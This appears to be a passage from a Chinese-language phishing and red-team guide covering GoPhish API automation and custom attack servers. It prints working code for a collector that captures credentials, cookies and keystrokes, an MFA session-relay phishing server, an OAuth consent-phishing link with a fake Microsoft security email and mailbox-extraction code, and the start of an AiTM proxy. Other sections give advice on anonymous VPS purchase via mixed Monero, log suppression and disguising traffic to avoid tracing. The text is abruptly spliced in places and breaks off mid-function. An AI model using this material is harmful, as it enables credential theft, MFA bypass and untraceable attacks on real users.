# 获取API密钥（位于GoPhish Web界面的设置页面）
API_KEY="your_api_key_here"
# 使用API密钥进行身份验证
curl -H "Authorization: Bearer $API_KEY" \
-H "Content-Type: application/json" \
https://gophish-server/api/campaigns/主要API端点:
/api/campaigns- 管理钓鱼活动/api/groups- 管理目标用户组/api/templates- 管理邮件模板/api/pages- 管理钓鱼页面/api/smtp- 管理发送配置/api/users- 管理GoPhish用户
4.3.2 自动化钓鱼活动
创建完整活动脚本:
import requests
import json
import time
from datetime import datetime, timedelta
# 配置
API_KEY = "your_api_key_here"
GOPHISH_URL = "https://gophish-server"
HEADERS = {
"Authorization": f"Bearer {API_KEY}",
"Content-Type": "application/json"
}
# 1. 创建目标群组
def create_target_group(name, targets):
data = {
"name": name,
"targets": targets
}
response = requests.post(
f"{GOPHISH_URL}/api/groups/",
headers=HEADERS,
json=data,
verify=False # 仅用于自签名证书
)
return response.json()
# 2. 创建邮件模板
def create_email_template(name, subject, html):
data = {
"name": name,
"subject": subject,
"html": html,
"text": "纯文本版本的邮件内容"
}
response = requests.post(
f"{GOPHISH_URL}/api/templates/",
headers=HEADERS,
json=data
)
return response.json()
# 3. 创建钓鱼页面
def create_landing_page(name, html):
data = {
"name": name,
"html": html,
"capture_credentials": True,
"capture_passwords": True,
"redirect_url": "https://legitimate-site.com"
}
response = requests.post(
f"{GOPHISH_URL}/api/pages/",
headers=HEADERS,
json=data
)
return response.json()
# 4. 创建钓鱼活动
def create_campaign(name, email_template, landing_page, target_group, smtp_profile, launch_date=None):
if not launch_date:
launch_date = datetime.now().strftime("%Y-%m-%dT%H:%M:%SZ")
data = {
"name": name,
"template": email_template,
"page": landing_page,
"smtp": smtp_profile,
"url": "https://phishing-domain.com",
"groups": [target_group],
"launch_date": launch_date
}
response = requests.post(
f"{GOPHISH_URL}/api/campaigns/",
headers=HEADERS,
json=data
)
return response.json()
# 5. 监控活动结果
def monitor_campaign(campaign_id, interval=300, max_checks=10):
checks = 0
while checks < max_checks:
response = requests.get(
f"{GOPHISH_URL}/api/campaigns/{campaign_id}",
headers=HEADERS
)
campaign = response.json()
# 打印进度统计
print(f"活动: {campaign['name']}")
print(f"- 发送: {campaign['stats']['sent']}")
print(f"- 打开: {campaign['stats']['opened']}")
print(f"- 点击: {campaign['stats']['clicked']}")
print(f"- 提交: {campaign['stats']['submitted_data']}")
# 检查是否所有邮件都已发送
if campaign['status'] == 'Completed':
print("活动已完成")
break
checks += 1
time.sleep(interval)
# 主函数示例
def main():
# 创建测试目标
targets = [
{"first_name": "测试", "last_name": "用户", "email": "test@example.com", "position": "经理"}
]
group = create_target_group("测试组", targets)
# 创建邮件模板
with open("email_template.html", "r") as f:
email_html = f.read()
template = create_email_template("测试模板", "安全警告", email_html)
# 创建登录页面
with open("landing_page.html", "r") as f:
page_html = f.read()
page = create_landing_page("测试页面", page_html)
# 创建活动（假设SMTP配置ID为1）
campaign = create_campaign(
"自动化测试活动",
template,
page,
group,
{"id": 1},
(datetime.now() + timedelta(minutes=5)).strftime("%Y-%m-%dT%H:%M:%SZ")
)
# 监控结果
monitor_campaign(campaign["id"])
if __name__ == "__main__":
main()这个脚本展示了如何通过API自动创建和监控钓鱼活动的完整流程，适用于大规模测试或定期安全意识培训。
4.3.3 自定义功能扩展
自定义数据收集器: 扩展GoPhish的默认数据收集功能，捕获更多信息：
from flask import Flask, request, redirect, jsonify
import requests
import json
import sqlite3
import time
import os
from datetime import datetime
import base64
import user_agents
app = Flask(__name__)
# 数据库配置
DB_PATH = "enhanced_results.db"
def init_db():
conn = sqlite3.connect(DB_PATH)
cursor = conn.cursor()
cursor.execute('''
CREATE TABLE IF NOT EXISTS enhanced_results (
id INTEGER PRIMARY KEY,
rid TEXT UNIQUE,
timestamp TEXT,
ip TEXT,
browser TEXT,
os TEXT,
device TEXT,
screen_size TEXT,
referrer TEXT,
form_data TEXT,
keystrokes TEXT,
client_info TEXT,
cookies TEXT
)
''')
conn.commit()
conn.close()
# 初始化数据库
init_db()
# 与GoPhish API通信
def update_gophish_result(rid, event_type, details=None):
gophish_api = "https://gophish-server/api/events/"
api_key = os.environ.get("GOPHISH_API_KEY")
data = {
"rid": rid,
"event": event_type
}
if details:
data["details"] = details
headers = {
"Authorization": f"Bearer {api_key}",
"Content-Type": "application/json"
}
try:
response = requests.post(gophish_api, headers=headers, json=data)
return response.status_code == 200
except Exception as e:
print(f"Error updating GoPhish: {e}")
return False
# 存储增强数据
def store_enhanced_data(rid, data_type, data_value):
conn = sqlite3.connect(DB_PATH)
cursor = conn.cursor()
# 检查记录是否存在
cursor.execute("SELECT id FROM enhanced_results WHERE rid = ?", (rid,))
result = cursor.fetchone()
if result:
# 更新现有记录
cursor.execute(f"UPDATE enhanced_results SET {data_type} = ? WHERE rid = ?",
(json.dumps(data_value), rid))
else:
# 创建新记录
cursor.execute(f"INSERT INTO enhanced_results (rid, timestamp, {data_type}) VALUES (?, ?, ?)",
(rid, datetime.now().isoformat(), json.dumps(data_value)))
conn.commit()
conn.close()
# 路由处理
@app.route("/track", methods=["GET"])
def track_email():
rid = request.args.get("rid", "")
if not rid:
return "Not Found", 404
# 收集基本信息
ip = request.remote_addr
user_agent_string = request.headers.get("User-Agent", "")
user_agent = user_agents.parse(user_agent_string)
# 存储增强数据
client_info = {
"ip": ip,
"user_agent": user_agent_string,
"browser": user_agent.browser.family,
"os": user_agent.os.family,
"device": user_agent.device.family,
"is_mobile": user_agent.is_mobile,
"is_tablet": user_agent.is_tablet,
"is_pc": user_agent.is_pc,
"headers": dict(request.headers)
}
store_enhanced_data(rid, "client_info", client_info)
update_gophish_result(rid, "opened", {"client_info": client_info})
# 返回1x1透明像素
pixel = base64.b64decode("R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7")
return pixel, 200, {"Content-Type": "image/gif"}
@app.route("/login", methods=["POST"])
def capture_credentials():
rid = request.form.get("rid", "")
if not rid:
return "Not Found", 404
# 收集表单数据
form_data = dict(request.form)
# 收集额外信息
client_data = {
"ip": request.remote_addr,
"user_agent": request.headers.get("User-Agent", ""),
"referrer": request.headers.get("Referer", ""),
"cookies": dict(request.cookies)
}
# 存储数据
store_enhanced_data(rid, "form_data", form_data)
store_enhanced_data(rid, "client_info", client_data)
# 更新GoPhish
update_gophish_result(rid, "submitted_data", {"form": form_data})
# 重定向到真实站点
return redirect("https://legitimate-site.com")
@app.route("/keylog", methods=["POST"])
def capture_keystrokes():
data = request.json
rid = data.get("rid", "")
keylogs = data.get("keylogs", [])
if not rid:
return jsonify({"status": "error", "message": "Missing RID"}), 400
# 存储击键记录
store_enhanced_data(rid, "keystrokes", keylogs)
return jsonify({"status": "success"})
@app.route("/enhanced-results/<rid>", methods=["GET"])
def get_enhanced_results(rid):
api_key = request.headers.get("X-API-Key")
if api_key != os.environ.get("ENHANCED_API_KEY"):
return jsonify({"status": "error", "message": "Unauthorized"}), 401
conn = sqlite3.connect(DB_PATH)
conn.row_factory = sqlite3.Row
cursor = conn.cursor()
cursor.execute("SELECT * FROM enhanced_results WHERE rid = ?", (rid,))
result = cursor.fetchone()
conn.close()
if not result:
return jsonify({"status": "error", "message": "Record not found"}), 404
# 转换为字典并解析JSON字段
result_dict = dict(result)
for key in ["form_data", "keystrokes", "client_info", "cookies"]:
if result_dict.get(key):
try:
result_dict[key] = json.loads(result_dict[key])
except:
pass
return jsonify({"status": "success", "data": result_dict})
if __name__ == "__main__":
app.run(host="0.0.0.0", port=8080, ssl_context=("cert.pem", "key.pem"))此扩展服务器增强了GoPhish的数据收集能力，可以捕获更详细的用户信息、键盘输入和用户行为，为安全测试提供更深入的分析数据。
5. 高级钓鱼技术与注意事项
5.1 临时邮箱的安全使用与风险评估
临时邮箱服务在钓鱼活动中经常被使用，但需要全面了解其安全隐患：
5.1.1 临时邮箱服务分类与评估
临时邮箱类型比较:
安全评估指标:
服务位置: 不同司法管辖区的数据保护法律差异很大
日志政策: 服务是否记录访问IP、浏览器指纹等
加密方式: 是否提供端到端加密和安全协议
服务条款: 是否明确不与执法机构合作或提供非常有限的信息
访问方式: 是否支持通过Tor或VPN安全访问
5.1.2 高安全性临时邮箱配置
自托管临时邮箱服务器:
# 使用Docker快速部署临时邮箱服务
git clone https://github.com/mailcow/mailcow-dockerized
cd mailcow-dockerized
./generate_config.sh
# 修改配置以增强安全性
# 在mailcow.conf中设置日志保留时间为最小值
sed -i 's/RETENTION_MAX=.*$/RETENTION_MAX=1/g' mailcow.conf
# 禁用所有不必要的日志记录
sed -i 's/LOG_LINES=.*$/LOG_LINES=0/g' mailcow.conf
# 启用服务
docker-compose up -d
# 配置自动邮箱清理脚本
cat > /etc/cron.daily/purge-mailboxes << 'EOF'
#!/bin/bash
docker-compose exec mysql-mailcow mysql -uroot -p$(grep MYSQL_ROOT_PASSWORD mailcow.conf | cut -d'=' -f2) mailcow -e "DELETE FROM mailbox WHERE created < DATE_SUB(NOW(), INTERVAL 24 HOUR);"
EOF
chmod +x /etc/cron.daily/purge-mailboxes安全访问配置:
# 通过Tor访问临时邮箱服务
# 安装Tor
apt-get install tor
# 配置Tor隐藏服务
cat >> /etc/tor/torrc << EOF
HiddenServiceDir /var/lib/tor/mail_service/
HiddenServicePort 80 127.0.0.1:80
HiddenServicePort 443 127.0.0.1:443
HiddenServicePort 25 127.0.0.1:25
EOF
# 重启Tor服务
systemctl restart tor
# 获取.onion地址
cat /var/lib/tor/mail_service/hostname5.2 红队基础设施的构建与管理
红队行动的成功很大程度上取决于基础设施的设计和管理，特别是在涉及钓鱼操作时：
5.2.1 分层红队基础设施
基础设施组件与职责分离:
[主命令控制服务器] <-------------- [跳板服务器] <------------> [钓鱼基础设施]
^ ^ |
| | v
[分析环境] [域名基础设施] [钓鱼目标]各层设计原则:
钓鱼基础设施层:
直接面向目标的服务器，包括钓鱼邮件服务器和钓鱼网站
应使用不同提供商的多个VPS，避免关联
最易被发现和追踪，可视为"消耗品"
跳板服务器层:
在主C2服务器和钓鱼基础设施之间中继通信
应实施严格的访问控制和日志模糊化
应通过匿名网络(如Tor或混合代理链)访问
命令控制层:
核心操作中心，绝不直接与钓鱼基础设施连接
应实施最严格的防护和监控措施
应使用强加密和安全访问协议
域名基础设施:
管理钓鱼域名和DNS设置
通过匿名注册和隐私保护服务购买
使用分散式管理降低关联性
5.2.2 匿名基础设施购买流程
VPS匿名购买步骤:
准备匿名支付方式:
获取加密货币(如Monero，优于Bitcoin因其更强隐私保护)
使用多次混币服务打断资金追踪
通过Tor设置匿名邮箱:
使用Tor浏览器创建专用于此目的的匿名邮箱
避免提供任何个人相关信息
VPS提供商选择:
选择接受加密货币且不要求身份验证的提供商
优先考虑不在五眼联盟(美、英、加、澳、新)国家的提供商
验证提供商的日志政策和数据保留期
购买流程:
# 示例：通过Tor访问VPS提供商
torsocks curl -A "Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0" \
-H "Accept-Language: en-US,en;q=0.5" \
-H "DNT: 1" \
--data "plan=basic&payment=monero&email=anonymous@example.com" \
https://vps-provider.com/purchaseVPS初始安全化:
# 登录后立即更改所有默认设置
ssh root@new-vps-ip
# 更改SSH端口和禁用密码认证
sed -i 's/#Port 22/Port 52841/' /etc/ssh/sshd_config
sed -i 's/PasswordAuthentication yes/PasswordAuthentication no/' /etc/ssh/sshd_config
systemctl restart sshd
# 配置防火墙，只允许必要端口
apt update && apt install -y ufw
ufw default deny incoming
ufw default allow outgoing
ufw allow 52841/tcp
ufw allow 80/tcp
ufw allow 443/tcp
ufw allow 25/tcp
ufw enable
# 安装防入侵检测系统
apt install -y fail2ban5.2.3 红队基础设施通信安全化
加密通信隧道:
# 在主控服务器和跳板之间设置加密隧道
# 在主控服务器上
ssh-keygen -t ed25519 -f ~/.ssh/jump_server_key -N ""
ssh-copy-id -i ~/.ssh/jump_server_key.pub user@jump-server
# 设置SSH配置以使用密钥和跳转
cat >> ~/.ssh/config << EOF
Host jump
HostName jump-server-ip
User user
Port 52841
IdentityFile ~/.ssh/jump_server_key
ServerAliveInterval 60
Host phish*
ProxyJump jump
User phish
IdentityFile ~/.ssh/phish_key
ServerAliveInterval 60
EOF
# 在跳板服务器上创建SSH隧道至钓鱼服务器
ssh -f -N -L 8080:phishing-server:80 user@phishing-server通信混淆与协议隐藏:
# 使用stunnel隐藏SSH流量，使其看起来像HTTPS
# 在服务器端
apt install stunnel4
cat > /etc/stunnel/stunnel.conf << EOF
[ssh]
accept = 443
connect = 127.0.0.1:52841
cert = /etc/stunnel/stunnel.pem
key = /etc/stunnel/stunnel.pem
EOF
# 生成自签名证书
openssl req -new -x509 -days 365 -nodes -out /etc/stunnel/stunnel.pem -keyout /etc/stunnel/stunnel.pem
# 在客户端
cat > ~/stunnel-client.conf << EOF
[ssh]
client = yes
accept = 127.0.0.1:8443
connect = server:443
verify = 0
EOF
stunnel ~/stunnel-client.conf
ssh -p 8443 user@127.0.0.15.3 钓鱼邮件高级测试与检查方法
在执行钓鱼活动前，全面测试邮件是确保成功的关键步骤：
5.3.1 全方位邮件安全评分
自动化邮件安全评分工具:
#!/usr/bin/env python3
"""
钓鱼邮件安全评分工具 - 在实际发送前评估钓鱼邮件被检测的可能性
"""
import email
import re
import sys
import base64
import requests
import dns.resolver
import argparse
from collections import Counter
def parse_eml(eml_file):
"""解析EML文件并返回关键组件"""
with open(eml_file, 'rb') as f:
msg = email.message_from_binary_file(f)
headers = {}
for key in msg.keys():
headers[key.lower()] = msg[key]
# 提取正文
body = ""
if msg.is_multipart():
for part in msg.walk():
content_type = part.get_content_type()
if content_type == "text/plain" or content_type == "text/html":
try:
body += part.get_payload(decode=True).decode('utf-8')
except:
try:
body += part.get_payload(decode=True).decode('latin-1')
except:
continue
else:
body = msg.get_payload(decode=True).decode('utf-8', errors='ignore')
return {
'headers': headers,
'body': body,
'raw': msg.as_string()
}
def check_spf_dkim_consistency(email_data):
"""检查SPF和DKIM与发件人的一致性"""
from_domain = email_data['headers'].get('from', '')
if '@' in from_domain:
from_domain = from_domain.split('@')[1].strip('>')
if '>' in from_domain:
from_domain = from_domain.split('>')[0]
score = 10
issues = []
# 检查SPF记录
try:
answers = dns.resolver.resolve(from_domain, 'TXT')
spf_record = None
for rdata in answers:
for txt in rdata.strings:
txt_str = txt.decode('utf-8')
if txt_str.startswith('v=spf1'):
spf_record = txt_str
break
if not spf_record:
score -= 2
issues.append("域名没有SPF记录，可能绕过SPF检查")
elif " -all" in spf_record:
score -= 5
issues.append("域名有严格的SPF策略(-all)，伪造的邮件很可能被拒绝")
except Exception as e:
score -= 1
issues.append(f"无法检查SPF记录: {e}")
# 检查发送者与Message-ID一致性
message_id = email_data['headers'].get('message-id', '')
if message_id and '@' in message_id:
mid_domain = message_id.split('@')[1].strip('>')
if from_domain not in mid_domain:
score -= 3
issues.append(f"Message-ID域名({mid_domain})与发件人域名({from_domain})不匹配")
# 检查Return-Path一致性
return_path = email_data['headers'].get('return-path', '')
if return_path and '@' in return_path:
return_domain = return_path.split('@')[1].strip('>')
if from_domain not in return_domain:
score -= 2
issues.append(f"Return-Path域名({return_domain})与发件人域名({from_domain})不匹配")
return {
'category': 'SPF/DKIM一致性',
'score': max(0, score),
'max_score': 10,
'issues': issues
}
def check_header_anomalies(email_data):
"""检查头部异常"""
score = 10
issues = []
headers = email_data['headers']
# 检查X-Mailer头
x_mailer = headers.get('x-mailer', '')
suspicious_mailers = ['gophish', 'swaks', 'kali', 'parrot', 'metasploit']
for sus in suspicious_mailers:
if sus.lower() in x_mailer.lower():
score -= 8
issues.append(f"X-Mailer头包含可疑值: {x_mailer}")
break
# 检查Received链不一致
received_headers = []
for key in headers:
if key.startswith('received'):
received_headers.append(headers[key])
if len(received_headers) > 1:
# 简单检查IP地址的地理位置一致性
ips = []
for received in received_headers:
ip_matches = re.findall(r'(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})', received)
ips.extend(ip_matches)
if len(ips) > 1:
# 这里可以添加IP地理位置检查逻辑
pass
# 检查Date头是否合理
date_header = headers.get('date', '')
# 这里可以添加日期合理性检查
# 检查User-Agent头（如果存在）
user_agent = headers.get('user-agent', '')
if user_agent and any(sus in user_agent.lower() for sus in suspicious_mailers):
score -= 3
issues.append(f"User-Agent头包含可疑值: {user_agent}")
return {
'category': '头部异常分析',
'score': max(0, score),
'max_score': 10,
'issues': issues
}
def check_content_spam_indicators(email_data):
"""检查内容中的垃圾邮件指标"""
score = 10
issues = []
body = email_data['body']
# 检查常见垃圾邮件触发词
spam_triggers = [
'viagra', 'cialis', 'free money', 'lottery', 'winner', 'claim your prize',
'million dollars', 'nigerian prince', 'investment opportunity', 'bitcoin',
'urgent action', 'urgent attention', 'account suspension', 'verify immediately'
]
spam_count = 0
for trigger in spam_triggers:
if trigger.lower() in body.lower():
spam_count += 1
issues.append(f"内容包含垃圾邮件触发词: '{trigger}'")
score -= min(8, spam_count * 2) # 每个触发词减2分，最多减8分
# 检查链接与显示文本不一致
links = re.findall(r'<a\s+(?:[^>]*?\s+)?href="([^"]*)"', body)
link_texts = re.findall(r'<a\s+(?:[^>]*?\s+)?href="[^"]*"[^>]*>(.*?)</a>', body)
misleading_links = 0
for i in range(min(len(links), len(link_texts))):
link = links[i].lower()
text = link_texts[i].lower()
# 检查链接文本是否包含一个域名，但链接指向不同域名
domain_in_text = re.search(r'(https?://|www\.)([a-zA-Z0-9-]+(\.[a-zA-Z0-9-]+)+)', text)
if domain_in_text:
text_domain = domain_in_text.group(2)
if text_domain not in link:
misleading_links += 1
issues.append(f"误导性链接: 文本显示 '{text_domain}' 但链接指向 '{link}'")
score -= min(5, misleading_links * 3) # 每个误导性链接减3分，最多减5分
# 检查文本到HTML比例
plain_text = re.sub(r'<[^>]+>', '', body)
text_ratio = len(plain_text) / (len(body) + 1) # 避免除以0
if text_ratio < 0.1:
score -= 2
issues.append("文本内容极少，主要由HTML和图像组成")
return {
'category': '内容垃圾邮件指标',
'score': max(0, score),
'max_score': 10,
'issues': issues
}
def check_tracking_elements(email_data):
"""检查跟踪元素和明显的钓鱼指标"""
score = 10
issues = []
body = email_data['body']
# 检查跟踪像素
tracking_pixels = re.findall(r'<img[^>]*width=["\']?1["\']?[^>]*height=["\']?1["\']?[^>]*>', body)
if tracking_pixels:
score -= 1 # 跟踪像素很常见，只减1分
issues.append(f"检测到 {len(tracking_pixels)} 个可能的跟踪像素")
# 检查base64编码的图像（可能试图隐藏内容）
base64_images = re.findall(r'data:image/[^;]+;base64,([a-zA-Z0-9+/=]+)', body)
if base64_images:
score -= 2
issues.append(f"检测到 {len(base64_images)} 个base64编码的内嵌图像")
# 检查表单和输入字段（可能试图收集凭据）
forms = re.findall(r'<form[^>]*>.*?</form>', body, re.DOTALL)
password_fields = re.findall(r'<input[^>]*type=["\']password["\'][^>]*>', body)
if forms and password_fields:
score -= 8
issues.append("邮件中包含密码输入表单，这是钓鱼邮件的强烈指标")
elif forms:
score -= 3
issues.append("邮件中包含表单，可能试图收集数据")
# 检查JavaScript（可能试图执行恶意代码）
scripts = re.findall(r'<script[^>]*>.*?</script>', body, re.DOTALL)
if scripts:
score -= 5
issues.append(f"邮件中包含 {len(scripts)} 个JavaScript代码块，可能有恶意行为")
# 检查iframe（可能加载外部恶意内容）
iframes = re.findall(r'<iframe[^>]*>', body)
if iframes:
score -= 5
issues.append(f"邮件中包含 {len(iframes)} 个iframe，可能加载外部恶意内容")
return {
'category': '跟踪和钓鱼指标',
'score': max(0, score),
'max_score': 10,
'issues': issues
}
def check_url_reputation(email_data):
"""检查邮件中URL的声誉"""
score = 10
issues = []
body = email_data['body']
# 提取所有URL
urls = re.findall(r'https?://[^\s<>"\']+|www\.[^\s<>"\']+', body)
if not urls:
return {
'category': 'URL声誉',
'score': score,
'max_score': 10,
'issues': ["未检测到URL"]
}
# 提取域名
domains = set()
for url in urls:
domain_match = re.search(r'https?://([^/]+)|www\.([^/]+)', url)
if domain_match:
domain = domain_match.group(1) or domain_match.group(2)
domains.add(domain)
# 这里应该调用URL信誉API，如VirusTotal或Safe Browsing
# 以下为简化示例
suspicious_domains = 0
for domain in domains:
if any(sus in domain for sus in ['.tk', '.ml', '.ga', '.cf', '.gq', 'bit.ly', 'tinyurl']):
suspicious_domains += 1
issues.append(f"可疑域名: {domain}")
# 检查域名年龄（这里只是占位，实际实现需要WHOIS查询）
# 如果域名注册时间非常新，可能是专门为钓鱼创建的
score -= min(8, suspicious_domains * 2)
return {
'category': 'URL声誉',
'score': max(0, score),
'max_score': 10,
'issues': issues[用户] <---> [钓鱼站点] <---> [真实服务]
|
v
[攻击者后台]会话中继攻击实现:
以下是一个简化的会话中继攻击系统实现框架：
from flask import Flask, request, redirect, jsonify, session
import requests
import json
import time
import threading
import logging
app = Flask(__name__)
app.secret_key = 'very_secret_key'
# 配置日志
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)
# 存储活动会话
active_sessions = {}
# 真实服务配置
REAL_SERVICE = "https://real-service.com"
@app.route('/')
def phishing_login():
"""显示伪造登录页面"""
return """
<html>
<head><title>安全登录</title></head>
<body>
<h2>请登录您的账户</h2>
<form action="/login" method="POST">
<input type="text" name="username" placeholder="用户名" required><br>
<input type="password" name="password" placeholder="密码" required><br>
<button type="submit">登录</button>
</form>
</body>
</html>
"""
@app.route('/login', methods=['POST'])
def handle_login():
"""处理用户登录并开始会话中继"""
username = request.form.get('username')
password = request.form.get('password')
if not username or not password:
return "登录信息不完整", 400
# 创建会话ID
session_id = str(time.time()) + "-" + username
session['relay_session'] = session_id
# 存储会话信息
active_sessions[session_id] = {
'username': username,
'password': password,
'cookies': {},
'mfa_required': False,
'mfa_status': 'pending',
'authenticated': False,
'last_activity': time.time()
}
# 异步进行真实登录
threading.Thread(target=perform_real_login, args=(session_id,)).start()
# 显示"处理中"页面
return """
<html>
<head>
<title>处理中...</title>
<meta http-equiv="refresh" content="2;url=/status">
</head>
<body>
<h2>正在处理您的登录请求...</h2>
<p>请稍候，正在验证您的身份...</p>
</body>
</html>
"""
def perform_real_login(session_id):
"""使用用户凭据登录真实服务"""
session_data = active_sessions.get(session_id)
if not session_data:
return
try:
# 向真实服务发送登录请求
login_response = requests.post(
f"{REAL_SERVICE}/login",
data={
'username': session_data['username'],
'password': session_data['password']
},
allow_redirects=False
)
# 存储服务器返回的cookies
session_data['cookies'] = dict(login_response.cookies)
# 检查是否需要MFA
if "mfa_required" in login_response.text:
session_data['mfa_required'] = True
logger.info(f"Session {session_id} requires MFA")
elif login_response.status_code == 302: # 重定向到仪表板
session_data['authenticated'] = True
logger.info(f"Session {session_id} authenticated without MFA")
else:
logger.warning(f"Session {session_id} login failed")
session_data['last_activity'] = time.time()
except Exception as e:
logger.error(f"Error during real login: {e}")
@app.route('/status')
def check_status():
"""检查会话状态并相应显示MFA页面或重定向到最终页面"""
session_id = session.get('relay_session')
if not session_id or session_id not in active_sessions:
return redirect('/')
session_data = active_sessions[session_id]
session_data['last_activity'] = time.time()
if session_data['authenticated']:
# 登录成功，重定向到"成功"页面
return redirect('/success')
elif session_data['mfa_required'] and session_data['mfa_status'] == 'pending':
# 需要MFA验证
return """
<html>
<head><title>双因素认证</title></head>
<body>
<h2>请输入验证码</h2>
<p>我们向您的设备发送了一个安全验证码，请输入以完成登录。</p>
<form action="/verify-mfa" method="POST">
<input type="text" name="mfa_code" placeholder="验证码" required><br>
<button type="submit">验证</button>
</form>
</body>
</html>
"""
else:
# 仍在处理中
return """
<html>
<head>
<title>处理中...</title>
<meta http-equiv="refresh" content="2;url=/status">
</head>
<body>
<h2>正在处理您的登录请求...</h2>
<p>请稍候，正在验证您的身份...</p>
</body>
</html>
"""
@app.route('/verify-mfa', methods=['POST'])
def handle_mfa():
"""处理用户提交的MFA代码并转发到真实服务"""
session_id = session.get('relay_session')
if not session_id or session_id not in active_sessions:
return redirect('/')
session_data = active_sessions[session_id]
mfa_code = request.form.get('mfa_code')
if not mfa_code:
return "请提供验证码", 400
try:
# 向真实服务发送MFA验证请求
mfa_response = requests.post(
f"{REAL_SERVICE}/verify-mfa",
data={'mfa_code': mfa_code},
cookies=session_data['cookies'],
allow_redirects=False
)
# 更新cookies
session_data['cookies'].update(dict(mfa_response.cookies))
# 检查MFA验证结果
if mfa_response.status_code == 302: # 重定向到仪表板
session_data['authenticated'] = True
session_data['mfa_status'] = 'verified'
logger.info(f"Session {session_id} MFA verified successfully")
return redirect('/success')
else:
session_data['mfa_status'] = 'failed'
logger.warning(f"Session {session_id} MFA verification failed")
return """
<html>
<head><title>验证失败</title></head>
<body>
<h2>验证码无效</h2>
<p>您提供的验证码无效，请重试。</p>
<form action="/verify-mfa" method="POST">
<input type="text" name="mfa_code" placeholder="验证码" required><br>
<button type="submit">验证</button>
</form>
</body>
</html>
"""
except Exception as e:
logger.error(f"Error during MFA verification: {e}")
return "验证过程中出错，请重试", 500
@app.route('/success')
def success_page():
"""显示登录成功页面"""
session_id = session.get('relay_session')
if not session_id or session_id not in active_sessions:
return redirect('/')
session_data = active_sessions[session_id]
if not session_data['authenticated']:
return redirect('/status')
# 在这里可以获取用户的真实会话cookie并创建后门
# 或者展示貌似合理的成功页面
return """
<html>
<head><title>登录成功</title></head>
<body>
<h2>登录成功！</h2>
<p>您已成功验证身份。正在重定向到系统...</p>
<script>
setTimeout(function() {
window.location.href = "https://real-service.com/dashboard";
}, 3000);
</script>
</body>
</html>
"""
# 清理过期会话的后台任务
def cleanup_sessions():
"""清理超过30分钟不活动的会话"""
while True:
time.sleep(300) # 每5分钟检查一次
current_time = time.time()
expired_sessions = []
for session_id, data in active_sessions.items():
if current_time - data['last_activity'] > 1800: # 30分钟
expired_sessions.append(session_id)
for session_id in expired_sessions:
logger.info(f"Removing expired session {session_id}")
active_sessions.pop(session_id, None)
# 启动清理线程
threading.Thread(target=cleanup_sessions, daemon=True).start()
if __name__ == "__main__":
app.run(host="0.0.0.0", port=8080, ssl_context=("cert.pem", "key.pem"))此代码展示了会话中继攻击的基本原理：拦截用户凭据，使用这些凭据登录真实服务，然后在验证流程中充当中间人，将MFA挑战转发给用户并将其回应转发回真实服务。
5.4.2 OAuth攻击与同意钓鱼
OAuth授权框架被广泛用于实现SSO(单点登录)和第三方应用授权。攻击者可以创建恶意应用并诱骗用户授予其访问权限：
恶意OAuth应用创建流程:
在目标平台(如Google Cloud Platform, Microsoft Azure, GitHub)创建开发者账户
注册看似合法的应用程序(如"安全文件扫描器", "文档协作工具")
请求广泛的权限范围(如读取邮件, 访问文件)
创建类似于官方的应用登录页面
示例钓鱼OAuth链接构建:
# 构建Microsoft OAuth钓鱼链接示例
client_id = "YOUR_APP_CLIENT_ID"
redirect_uri = "https://malicious-app.com/callback"
scope = "offline_access+Mail.Read+Files.ReadWrite.All+User.Read+Calendars.Read"
response_type = "code"
state = "security_token"
oauth_url = f"https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id={client_id}&response_type={response_type}&redirect_uri={redirect_uri}&scope={scope}&state={state}&prompt=consent"
print(f"钓鱼OAuth URL: {oauth_url}")OAuth授权钓鱼邮件模板:
<html>
<body style="font-family: Arial, sans-serif;">
<div style="max-width: 600px; margin: 0 auto; padding: 20px; border: 1px solid #ddd;">
<img src="https://malicious-app.com/images/microsoft-logo.png" alt="Microsoft" style="height: 40px;">
<h2>Microsoft 365 - 重要安全通知</h2>
<p>尊敬的用户，</p>
<p>我们检测到您的账户有异常登录活动。为确保您的账户安全，请立即进行安全检查。</p>
<p>此次检查需要验证您的身份并扫描您的账户是否存在潜在威胁。</p>
<div style="margin: 20px 0; text-align: center;">
<a href="OAUTH_PHISHING_URL" style="background-color: #0078d4; color: white; padding: 10px 20px; text-decoration: none; border-radius: 4px;">立即进行安全检查</a>
</div>
<p>如果您没有收到可疑活动警报，您仍应验证您的账户以确保安全。</p>
<p>谢谢您的配合。</p>
<p>Microsoft 安全团队</p>
</div>
</body>
</html>OAuth权限利用:
一旦获得权限，攻击者可以执行多种操作：
import requests
import json
# 使用获取的token访问用户资源
def extract_emails_with_oauth_token(access_token):
"""使用OAuth访问令牌提取用户邮件"""
headers = {
"Authorization": f"Bearer {access_token}",
"Content-Type": "application/json"
}
# 获取前10封邮件
response = requests.get(
"https://graph.microsoft.com/v1.0/me/messages?$top=10&$select=subject,from,receivedDateTime,bodyPreview",
headers=headers
)
if response.status_code == 200:
emails = response.json().get("value", [])
# 处理敏感邮件，可能包含密码重置链接、财务信息等
for email in emails:
print(f"Subject: {email.get('subject')}")
print(f"From: {email.get('from', {}).get('emailAddress', {}).get('address')}")
print(f"Preview: {email.get('bodyPreview')[:100]}...")
print("-" * 50)
return emails
else:
print(f"Error: {response.status_code} - {response.text}")
return []
# 在真实场景中，可以自动分析邮件内容寻找敏感信息5.4.3 会话令牌窃取与AiTM攻击
Adversary-in-the-Middle (AiTM) 攻击是一种先进的钓鱼技术，专门用于绕过MFA：
AiTM代理服务器框架:
import requests
from flask import Flask, request, Response
import re
import logging
from bs4 import BeautifulSoup
import base64
app = Flask(__name__)
# 配置日志
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)
# 目标服务配置
TARGET_ORIGIN = "https://login.microsoftonline.com"
PHISHING_ORIGIN = "https://login-ms-secure.com"
# 存储凭据和会话cookie
captured_data = {
"credentials": [],
"cookies": {},
"tokens": []
}
def modify_content(content, content_type):
"""修改响应内容，替换URL和域名引用"""
if not content:
return content
if 'text/html' in content_type:
# 解析HTML并修改
soup = BeautifulSoup(content, 'html.parser')
# 替换所有表单action
for form in soup.find_all('form'):
if form.get('action'):
form['action'] = form['action'].replace(TARGET_ORIGIN, PHISHING_ORIGIN)
# 替换所有链接
for a in soup.find_all('a'):
if a.get('href'):
